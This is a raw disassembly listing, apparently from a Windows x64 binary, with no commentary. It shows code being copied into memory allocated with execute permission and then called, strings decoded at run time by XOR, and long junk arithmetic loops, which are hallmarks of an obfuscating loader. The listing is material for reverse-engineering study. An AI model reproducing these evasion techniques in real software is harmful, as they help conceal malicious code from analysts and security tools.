movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x14000e670
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140039520]
mov qword [rdi + rax*8 + 0x3bb10], rbx
mov qword [rdi + rax*8 + 0x3ab40], r8
inc rax
mov qword [0x140039520], rax
lea rdx, [rsp + 0x40]
lea rcx, [0x14000a180]
call r8
nop
mov rcx, qword [rbp + 0xd8]
xor rcx, qword [rbp + 0xe0]
mov qword [rbp + 0xd8], rcx
mov rax, qword [rbp + 0xe8]
mov qword [rax], rcx
lea rcx, [rbp + 0x120]
call fcn.14001ea20
nop
lea rcx, [rbp + 0xf0]
call fcn.14001ea20
call qword [sym.imp.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_]
mov edx, eax
lea rcx, [rbp + 0x1a0]
call fcn.14001e3a0
mov dword [rbp + 0xd0], 0xffffff9c
mov dword [rbp + 0xd4], 0x64
movdqa xmm0, xmmword [0x14002fa20]
movups xmmword [rbp + 0x110], xmm0
mov dword [rsp + 0x30], r12d
movsd qword [rsp + 0x38], xmm8
lea rcx, [rsp + 0x50]
call fcn.140001670
mov qword [rsp + 0x40], 0x64
lea r8, [rsp + 0x40]
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x60]
call fcn.14001fe60
lea rcx, [rbp + 0xf0]
call fcn.140002560
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xf0], xmm1
mov qword [rbp + 0x100], r12
lea rcx, [rsp + 0x40]
call fcn.14001fe80
nop
mov rcx, qword [rax]
mov qword [rax], r12
mov qword [rsp + 0x50], rcx
lea rdx, [rsp + 0x50]
lea rcx, [rbp + 0xf0]
call fcn.14001e2d0
nop
lea rcx, [rsp + 0x50]
call fcn.14001e2b0
nop
lea rcx, [rsp + 0x40]
call fcn.14001e2b0
lea rcx, [rsp + 0x40]
call fcn.14001feb0
nop
mov rcx, qword [rax]
mov qword [rax], r12
mov qword [rsp + 0x50], rcx
lea rdx, [rsp + 0x50]
lea rcx, [rbp + 0xf0]
call fcn.14001e2d0
nop
lea rcx, [rsp + 0x50]
call fcn.14001e2b0
nop
lea rcx, [rsp + 0x40]
call fcn.14001e2b0
lea rcx, [rsp + 0x40]
call fcn.14001fee0
nop
mov rcx, qword [rax]
mov qword [rax], r12
mov qword [rsp + 0x50], rcx
lea rdx, [rsp + 0x50]
lea rcx, [rbp + 0xf0]
call fcn.14001e2d0
nop
lea rcx, [rsp + 0x50]
call fcn.14001e2b0
nop
lea rcx, [rsp + 0x40]
call fcn.14001e2b0
lea rcx, [rsp + 0x40]
call fcn.14001ff10
nop
mov rcx, qword [rax]
mov qword [rax], r12
mov qword [rsp + 0x50], rcx
lea rdx, [rsp + 0x50]
lea rcx, [rbp + 0xf0]
call fcn.14001e2d0
nop
lea rcx, [rsp + 0x50]
call fcn.14001e2b0
nop
lea rcx, [rsp + 0x40]
call fcn.14001e2b0
lea rcx, [rsp + 0x40]
call fcn.14001ff40
nop
mov rcx, qword [rax]
mov qword [rax], r12
mov qword [rsp + 0x50], rcx
lea rdx, [rsp + 0x50]
lea rcx, [rbp + 0xf0]
call fcn.14001e2d0
nop
lea rcx, [rsp + 0x50]
call fcn.14001e2b0
nop
lea rcx, [rsp + 0x40]
call fcn.14001e2b0
lea rcx, [rsp + 0x40]
call fcn.14001ff70
nop
mov rcx, qword [rax]
mov qword [rax], r12
mov qword [rsp + 0x50], rcx
lea rdx, [rsp + 0x50]
lea rcx, [rbp + 0xf0]
call fcn.14001e2d0
nop
lea rcx, [rsp + 0x50]
call fcn.14001e2b0
nop
lea rcx, [rsp + 0x40]
call fcn.14001e2b0
lea rcx, [rsp + 0x40]
call fcn.140001670
mov rcx, rax
lea rdx, [rsp + 0x60]
call fcn.140002510
test al, al
jns 0x14000ecb3
nop dword [rax]
mov esi, 0x186a0
nop word [rax + rax]
lea rdx, [rbp + 0x1a0]
lea rcx, [rbp + 0xd0]
call fcn.14001fdc0
mov rbx, qword [rbp + 0xf8]
sub rbx, qword [rbp + 0xf0]
sar rbx, 3
lea rdx, [rbp + 0x1a0]
lea rcx, [rbp + 0xd0]
call fcn.14001fdc0
cdqe
xor edx, edx
div rbx
movsxd rcx, edx
mov rax, qword [rbp + 0xf0]
mov rdi, qword [rax + rcx*8]
mov rax, qword [rdi]
mov rbx, qword [rax + 8]
lea rdx, [rbp + 0x1a0]
lea rcx, [rbp + 0xd0]
call fcn.14001fdc0
mov r8d, eax
mov edx, dword [rsp + 0x30]
mov rcx, rdi
call rbx
mov dword [rsp + 0x30], eax
lea rdx, [rbp + 0x1a0]
lea rcx, [rbp + 0x110]
call fcn.14001ffa0
movaps xmm5, xmm0
lea rdx, [rbp + 0x1a0]
lea rcx, [rbp + 0x110]
call fcn.14001ffa0
movaps xmm1, xmm5
call fcn.1400023e0
movsd xmm1, qword [rsp + 0x38]
addsd xmm0, xmm1
movsd qword [rsp + 0x38], xmm0
lea rdx, [rbp + 0x1a0]
lea rcx, [rbp + 0x110]
call fcn.14001ffa0
movaps xmm1, xmm7
call sub.api_ms_win_crt_math_l1_1_0.dll_pow
movsd xmm1, qword [rsp + 0x38]
subsd xmm1, xmm0
movsd qword [rsp + 0x38], xmm1
lea rdx, [rbp + 0x1a0]
lea rcx, [rbp + 0x110]
call fcn.14001ffa0
call sub.api_ms_win_crt_math_l1_1_0.dll_tan
mulsd xmm0, qword [rsp + 0x38]
movsd qword [rsp + 0x38], xmm0
lea rdx, str.random
lea rcx, [rbp + 0x120]
call fcn.14001ea80
nop
lea rdx, [rbp + 0x1a0]
lea rcx, [rbp + 0x120]
call fcn.140002350
lea rcx, [rbp + 0xd8]
call fcn.140002560
lea rcx, [rbp + 0xd8]
call fcn.14001e450
nop
lea rax, [rbp + 0xd0]
mov qword [rsp + 0x50], rax
lea rax, [rbp + 0x1a0]
mov qword [rsp + 0x58], rax
movaps xmm0, xmmword [rsp + 0x50]
movdqa xmmword [rsp + 0x70], xmm0
lea r8, [rsp + 0x70]
mov rdx, qword [rbp + 0xe0]
mov rcx, qword [rbp + 0xd8]
call fcn.140020020
lea rdx, [rbp + 0x1a0]
lea rcx, [rbp + 0xd8]
call fcn.140002460
mov rdx, qword [rbp + 0xe0]
mov rcx, qword [rbp + 0xd8]
call fcn.140020080
mov ecx, dword [rsp + 0x30]
add ecx, eax
mov dword [rsp + 0x30], ecx
lea rdx, [rbp + 0x1a0]
lea rcx, [rbp + 0xd0]
call fcn.14001fdc0
mov ebx, eax
lea rdx, [rbp + 0x1a0]
lea rcx, [rbp + 0xd0]
call fcn.14001fdc0
mov r8d, ebx
mov edx, eax
call fcn.140002530
mov ecx, dword [rsp + 0x30]
add eax, ecx
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x30]
lea rdx, [rbp + 0x1a0]
lea rcx, [rbp + 0xd0]
test al, 1
jne 0x14000eba5
call fcn.14001fdc0
mov ecx, dword [rsp + 0x30]
add eax, ecx
mov dword [rsp + 0x30], eax
jmp 0x14000ebb4
call fcn.14001fdc0
mov ecx, dword [rsp + 0x30]
sub ecx, eax
mov dword [rsp + 0x30], ecx
mov edi, 5
nop dword [rax]
mov ebx, r12d
nop dword [rax]
nop word [rax + rax]
lea rdx, [rbp + 0x1a0]
lea rcx, [rbp + 0xd0]
call fcn.14001fdc0
mov ecx, dword [rsp + 0x30]
add eax, ecx
mov dword [rsp + 0x30], eax
lea rdx, [rbp + 0x1a0]
lea rcx, [rbp + 0x110]
call fcn.14001ffa0
movsd xmm5, qword [rsp + 0x38]
addsd xmm0, xmm5
movsd qword [rsp + 0x38], xmm0
lea rdx, [rbp + 0x1a0]
test bl, 1
jne 0x14000ec35
lea rcx, [rbp + 0xd0]
call fcn.14001fdc0
mov ecx, dword [rsp + 0x30]
imul eax, ecx
mov dword [rsp + 0x30], eax
jmp 0x14000ec55
movsd xmm5, qword [rsp + 0x38]
lea rcx, [rbp + 0x110]
call fcn.14001ffa0
addsd xmm0, xmm6
divsd xmm5, xmm0
movsd qword [rsp + 0x38], xmm5
inc ebx
cmp ebx, 5
jl 0x14000ebd0
sub rdi, 1
jne 0x14000ebc0
lea rcx, [rbp + 0xd8]
call fcn.14001e3f0
nop
lea rcx, [rbp + 0x120]
call fcn.14001ea20
sub rsi, 1
jne 0x14000e990
lea rcx, [rsp + 0x40]
call fcn.140001670
mov rcx, rax
lea rdx, [rsp + 0x60]
call fcn.140002510
test al, al
js 0x14000e980
lea rdi, [0x140000000]
mov eax, dword [rsp + 0x30]
lea rcx, [rbp + 0xf0]
call fcn.14001e300
mov dword [rsp + 0x30], 0x96
lea rcx, [rbp + 0xd8]
call fcn.140002560
lea rdx, [rbp + 0x1608]
lea rcx, [rbp + 0xd8]
call fcn.140002570
nop
mov ecx, r12d
mov rax, qword [0x140039b80]
test rax, rax
je 0x14000ed29
nop word [rax + rax]
cmp rax, r13
je 0x14000ed16
inc ecx
mov rax, qword [rdi + rcx*8 + 0x39b80]
test rax, rax
jne 0x14000ed00
jmp 0x14000ed29
mov eax, ecx
mov r8, qword [rdi + rax*8 + 0x3b4c0]
test r8, r8
jne 0x14000ee0f
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x14000ed52
mov r8, r12
jmp 0x14000edee
mov rax, r13
mov rcx, r8
mov rdx, r14
nop dword [rax + rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x14000ed60
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x14003a1c0]
mov qword [rdi + rax*8 + 0x39b80], r13
mov qword [rdi + rax*8 + 0x3b4c0], r8
inc rax
mov qword [0x14003a1c0], rax
lea rdx, [rsp + 0x30]
mov rcx, qword [sym.imp.KERNEL32.dll_Sleep]
call r8
nop
mov rcx, qword [rbp + 0xd8]
xor rcx, qword [rbp + 0xe0]
mov qword [rbp + 0xd8], rcx
mov rax, qword [rbp + 0xe8]
mov qword [rax], rcx
movups xmm0, xmmword [str.98__ty]
movups xmmword [rbp + 0xf0], xmm0
movsd xmm0, qword [0x14002f1f0]
movsd qword [rbp + 0x100], xmm0
mov eax, dword [0x14002f1f8]
mov dword [rbp + 0x108], eax
movzx eax, word [0x14002f1fc]
mov word [rbp + 0x10c], ax
mov r9d, r12d
cmp r15d, 2
jl 0x14000f031
movdqa xmmword [rsp + 0x40], xmm13
lea rcx, [rbp + 0xf0]
mov edx, dword [rsp + 0x40]
nop word [rax + rax]
movd xmm4, r9d
pshufd xmm4, xmm4, 0
paddd xmm4, xmm12
movdqa xmm2, xmm4
punpckldq xmm2, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
movdqa xmm3, xmm2
pmuldq xmm3, xmm11
movdqa xmm0, xmm1
pmuldq xmm0, xmm11
shufps xmm3, xmm0, 0xdd
paddd xmm3, xmm4
psrad xmm3, 6
pmuldq xmm2, xmm10
pmuldq xmm1, xmm10
shufps xmm2, xmm1, 0xdd
psubd xmm2, xmm4
psrad xmm2, 6
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm15
movdqa xmm1, xmm4
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm14
psubd xmm4, xmm0
andps xmm4, xmm9
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm1, xmm4
movd xmm0, edx
paddb xmm1, xmm0
movd xmm0, dword [rcx]
xorps xmm1, xmm0
movd dword [rcx], xmm1
lea eax, [r9 + 4]
movd xmm4, eax
pshufd xmm4, xmm4, 0
paddd xmm4, xmm12
movdqa xmm2, xmm4
punpckldq xmm2, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
movdqa xmm3, xmm2
pmuldq xmm3, xmm11
movdqa xmm0, xmm1
pmuldq xmm0, xmm11
shufps xmm3, xmm0, 0xdd
paddd xmm3, xmm4
psrad xmm3, 6
pmuldq xmm2, xmm10
pmuldq xmm1, xmm10
shufps xmm2, xmm1, 0xdd
psubd xmm2, xmm4
psrad xmm2, 6
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm15
movdqa xmm1, xmm4
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm14
psubd xmm4, xmm0
andps xmm4, xmm9
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm1, xmm4
movd xmm0, edx
paddb xmm1, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm1, xmm0
movd dword [rcx + 4], xmm1
add r9d, 8
lea rcx, [rcx + 8]
cmp r9d, 0x18
jl 0x14000eea0
cmp r9d, 0x1e
jge 0x14000f092
movsxd rax, r9d
lea r10, [rbp + 0xf0]
add r10, rax
nop
mov eax, 0x8fb823ef
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul r8d, eax, 0x39
mov eax, 0x6db6db6d
imul r9d
sub edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
sub cl, r8b
add cl, 0x25
add cl, r9b
add cl, cl
xor byte [r10], cl
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0x1e
jl 0x14000f040
lea rax, [rbp + 0xf0]
mov qword [rsp + 0x40], rax
lea rcx, [rbp + 0xd8]
call fcn.140002560
lea rdx, [rbp + 0x1608]
lea rcx, [rbp + 0xd8]
call fcn.140002570
nop
mov ecx, r12d
mov rax, qword [0x140039ea0]
lea rbx, [0x140020620]
test rax, rax
je 0x14000f0fd
cmp rax, rbx
je 0x14000f0ea
inc ecx
mov rax, qword [rdi + rcx*8 + 0x39ea0]
test rax, rax
jne 0x14000f0d4
jmp 0x14000f0fd
mov eax, ecx
mov r8, qword [rdi + rax*8 + 0x39860]
test r8, r8
jne 0x14000f1df
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x14000f126
mov r8, r12
jmp 0x14000f1be
mov rax, rbx
mov rcx, r8
mov rdx, r14
nop
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x14000f130
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140039850]
mov qword [rdi + rax*8 + 0x39ea0], rbx
mov qword [rdi + rax*8 + 0x39860], r8
inc rax
mov qword [0x140039850], rax
lea rdx, [rsp + 0x40]
lea rcx, [0x14000a180]
call r8
nop
mov rcx, qword [rbp + 0xd8]
xor rcx, qword [rbp + 0xe0]
mov qword [rbp + 0xd8], rcx
mov rax, qword [rbp + 0xe8]
mov qword [rax], rcx
call qword [sym.imp.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_]
mov edx, eax
lea rcx, [rbp + 0x1a0]
call fcn.14001e3a0
mov dword [rbp + 0xd0], 0xffffff9c
mov dword [rbp + 0xd4], 0x64
movdqa xmm0, xmmword [0x14002fa20]
movups xmmword [rbp + 0x110], xmm0
mov dword [rsp + 0x30], r12d
movsd qword [rsp + 0x38], xmm8
lea rcx, [rsp + 0x50]
call fcn.140001670
mov qword [rsp + 0x40], 0x64
lea r8, [rsp + 0x40]
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x60]
call fcn.14001fe60
lea rcx, [rbp + 0xf0]
call fcn.140002560
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xf0], xmm1
mov qword [rbp + 0x100], r12
lea rcx, [rsp + 0x40]
call fcn.14001fe80
nop
mov rcx, qword [rax]
mov qword [rax], r12
mov qword [rsp + 0x50], rcx
lea rdx, [rsp + 0x50]
lea rcx, [rbp + 0xf0]
call fcn.14001e2d0
nop
lea rcx, [rsp + 0x50]
call fcn.14001e2b0
nop
lea rcx, [rsp + 0x40]
call fcn.14001e2b0
lea rcx, [rsp + 0x40]
call fcn.14001feb0
nop
mov rcx, qword [rax]
mov qword [rax], r12
mov qword [rsp + 0x50], rcx
lea rdx, [rsp + 0x50]
lea rcx, [rbp + 0xf0]
call fcn.14001e2d0
nop
lea rcx, [rsp + 0x50]
call fcn.14001e2b0
nop
lea rcx, [rsp + 0x40]
call fcn.14001e2b0
lea rcx, [rsp + 0x40]
call fcn.14001fee0
nop
mov rcx, qword [rax]
mov qword [rax], r12
mov qword [rsp + 0x50], rcx
lea rdx, [rsp + 0x50]
lea rcx, [rbp + 0xf0]
call fcn.14001e2d0
nop
lea rcx, [rsp + 0x50]
call fcn.14001e2b0
nop
lea rcx, [rsp + 0x40]
call fcn.14001e2b0
lea rcx, [rsp + 0x40]
call fcn.14001ff10
nop
mov rcx, qword [rax]
mov qword [rax], r12
mov qword [rsp + 0x50], rcx
lea rdx, [rsp + 0x50]
lea rcx, [rbp + 0xf0]
call fcn.14001e2d0
nop
lea rcx, [rsp + 0x50]
call fcn.14001e2b0
nop
lea rcx, [rsp + 0x40]
call fcn.14001e2b0
lea rcx, [rsp + 0x40]
call fcn.14001ff40
nop
mov rcx, qword [rax]
mov qword [rax], r12
mov qword [rsp + 0x50], rcx
lea rdx, [rsp + 0x50]
lea rcx, [rbp + 0xf0]
call fcn.14001e2d0
nop
lea rcx, [rsp + 0x50]
call fcn.14001e2b0
nop
lea rcx, [rsp + 0x40]
call fcn.14001e2b0
lea rcx, [rsp + 0x40]
call fcn.14001ff70
nop
mov rcx, qword [rax]
mov qword [rax], r12
mov qword [rsp + 0x50], rcx
lea rdx, [rsp + 0x50]
lea rcx, [rbp + 0xf0]
call fcn.14001e2d0
nop
lea rcx, [rsp + 0x50]
call fcn.14001e2b0
nop
lea rcx, [rsp + 0x40]
call fcn.14001e2b0
lea rcx, [rsp + 0x40]
call fcn.140001670
mov rcx, rax
lea rdx, [rsp + 0x60]
call fcn.140002510
test al, al
jns 0x14000f753
mov esi, 0x186a0
nop dword [rax + rax]
lea rdx, [rbp + 0x1a0]
lea rcx, [rbp + 0xd0]
call fcn.14001fdc0
mov rbx, qword [rbp + 0xf8]
sub rbx, qword [rbp + 0xf0]
sar rbx, 3
lea rdx, [rbp + 0x1a0]
lea rcx, [rbp + 0xd0]
call fcn.14001fdc0
cdqe
xor edx, edx
div rbx
movsxd rcx, edx
mov rax, qword [rbp + 0xf0]
mov rdi, qword [rax + rcx*8]
mov rax, qword [rdi]
mov rbx, qword [rax + 8]
lea rdx, [rbp + 0x1a0]
lea rcx, [rbp + 0xd0]
call fcn.14001fdc0
mov r8d, eax
mov edx, dword [rsp + 0x30]
mov rcx, rdi
call rbx
mov dword [rsp + 0x30], eax
lea rdx, [rbp + 0x1a0]
lea rcx, [rbp + 0x110]
call fcn.14001ffa0
movaps xmm5, xmm0
lea rdx, [rbp + 0x1a0]
lea rcx, [rbp + 0x110]
call fcn.14001ffa0
movaps xmm1, xmm5
call fcn.1400023e0
movsd xmm1, qword [rsp + 0x38]
addsd xmm0, xmm1
movsd qword [rsp + 0x38], xmm0
lea rdx, [rbp + 0x1a0]
lea rcx, [rbp + 0x110]
call fcn.14001ffa0
movaps xmm1, xmm7
call sub.api_ms_win_crt_math_l1_1_0.dll_pow
movsd xmm1, qword [rsp + 0x38]
subsd xmm1, xmm0
movsd qword [rsp + 0x38], xmm1
lea rdx, [rbp + 0x1a0]
lea rcx, [rbp + 0x110]
call fcn.14001ffa0
call sub.api_ms_win_crt_math_l1_1_0.dll_tan
mulsd xmm0, qword [rsp + 0x38]
movsd qword [rsp + 0x38], xmm0
lea rdx, str.random
lea rcx, [rbp + 0x120]
call fcn.14001ea80
nop
lea rdx, [rbp + 0x1a0]
lea rcx, [rbp + 0x120]
call fcn.140002350
lea rcx, [rbp + 0xd8]
call fcn.140002560
lea rcx, [rbp + 0xd8]
call fcn.14001e450
nop
lea rax, [rbp + 0xd0]
mov qword [rsp + 0x50], rax
lea rax, [rbp + 0x1a0]
mov qword [rsp + 0x58], rax
movaps xmm0, xmmword [rsp + 0x50]
movdqa xmmword [rsp + 0x70], xmm0
lea r8, [rsp + 0x70]
mov rdx, qword [rbp + 0xe0]
mov rcx, qword [rbp + 0xd8]
call fcn.140020020
lea rdx, [rbp + 0x1a0]
lea rcx, [rbp + 0xd8]
call fcn.140002460
mov rdx, qword [rbp + 0xe0]
mov rcx, qword [rbp + 0xd8]
call fcn.140020080
mov ecx, dword [rsp + 0x30]
add ecx, eax
mov dword [rsp + 0x30], ecx
lea rdx, [rbp + 0x1a0]
lea rcx, [rbp + 0xd0]
call fcn.14001fdc0
mov ebx, eax
lea rdx, [rbp + 0x1a0]
lea rcx, [rbp + 0xd0]
call fcn.14001fdc0
mov r8d, ebx
mov edx, eax
call fcn.140002530
mov ecx, dword [rsp + 0x30]
add eax, ecx
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x30]
lea rdx, [rbp + 0x1a0]
lea rcx, [rbp + 0xd0]
test al, 1
jne 0x14000f645
call fcn.14001fdc0
mov ecx, dword [rsp + 0x30]
add eax, ecx
mov dword [rsp + 0x30], eax
jmp 0x14000f654
call fcn.14001fdc0
mov ecx, dword [rsp + 0x30]
sub ecx, eax
mov dword [rsp + 0x30], ecx
mov edi, 5
nop dword [rax]
mov ebx, r12d
nop dword [rax]
nop word [rax + rax]
lea rdx, [rbp + 0x1a0]
lea rcx, [rbp + 0xd0]
call fcn.14001fdc0
mov ecx, dword [rsp + 0x30]
add eax, ecx
mov dword [rsp + 0x30], eax
lea rdx, [rbp + 0x1a0]
lea rcx, [rbp + 0x110]
call fcn.14001ffa0
movsd xmm5, qword [rsp + 0x38]
addsd xmm0, xmm5
movsd qword [rsp + 0x38], xmm0
lea rdx, [rbp + 0x1a0]
test bl, 1
jne 0x14000f6d5
lea rcx, [rbp + 0xd0]
call fcn.14001fdc0
mov ecx, dword [rsp + 0x30]
imul eax, ecx
mov dword [rsp + 0x30], eax
jmp 0x14000f6f5
movsd xmm5, qword [rsp + 0x38]
lea rcx, [rbp + 0x110]
call fcn.14001ffa0
addsd xmm0, xmm6
divsd xmm5, xmm0
movsd qword [rsp + 0x38], xmm5
inc ebx
cmp ebx, 5
jl 0x14000f670
sub rdi, 1
jne 0x14000f660
lea rcx, [rbp + 0xd8]
call fcn.14001e3f0
nop
lea rcx, [rbp + 0x120]
call fcn.14001ea20
sub rsi, 1
jne 0x14000f430
lea rcx, [rsp + 0x40]
call fcn.140001670
mov rcx, rax
lea rdx, [rsp + 0x60]
call fcn.140002510
test al, al
js 0x14000f423
lea rdi, [0x140000000]
mov eax, dword [rsp + 0x30]
lea rcx, [rbp + 0xf0]
call fcn.14001e300
mov dword [rsp + 0x30], 0x320
lea rcx, [rbp + 0xd8]
call fcn.140002560
lea rdx, [rbp + 0x1608]
lea rcx, [rbp + 0xd8]
call fcn.140002570
nop
mov ecx, r12d
mov rax, qword [0x140039b80]
test rax, rax
je 0x14000f7c9
nop word [rax + rax]
cmp rax, r13
je 0x14000f7b6
inc ecx
mov rax, qword [rdi + rcx*8 + 0x39b80]
test rax, rax
jne 0x14000f7a0
jmp 0x14000f7c9
mov eax, ecx
mov r8, qword [rdi + rax*8 + 0x3b4c0]
test r8, r8
jne 0x14000f8af
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x14000f7f2
mov r8, r12
jmp 0x14000f88e
mov rax, r13
mov rcx, r8
mov rdx, r14
nop dword [rax + rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x14000f800
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x14003a1c0]
mov qword [rdi + rax*8 + 0x39b80], r13
mov qword [rdi + rax*8 + 0x3b4c0], r8
inc rax
mov qword [0x14003a1c0], rax
lea rdx, [rsp + 0x30]
mov rcx, qword [sym.imp.KERNEL32.dll_Sleep]
call r8
nop
mov rcx, qword [rbp + 0xd8]
xor rcx, qword [rbp + 0xe0]
mov qword [rbp + 0xd8], rcx
mov rax, qword [rbp + 0xe8]
mov qword [rax], rcx
mov rax, qword [str..__p2vX]
mov qword [rsp + 0x38], rax
cmp r15d, 2
jl 0x14000fa6d
movdqa xmm2, xmm12
punpckldq xmm2, xmm12
movdqa xmm1, xmm12
punpckhdq xmm1, xmm12
movdqa xmm3, xmm2
pmuldq xmm3, xmm11
movdqa xmm0, xmm1
pmuldq xmm0, xmm11
shufps xmm3, xmm0, 0xdd
paddd xmm3, xmm12
psrad xmm3, 6
pmuldq xmm2, xmm10
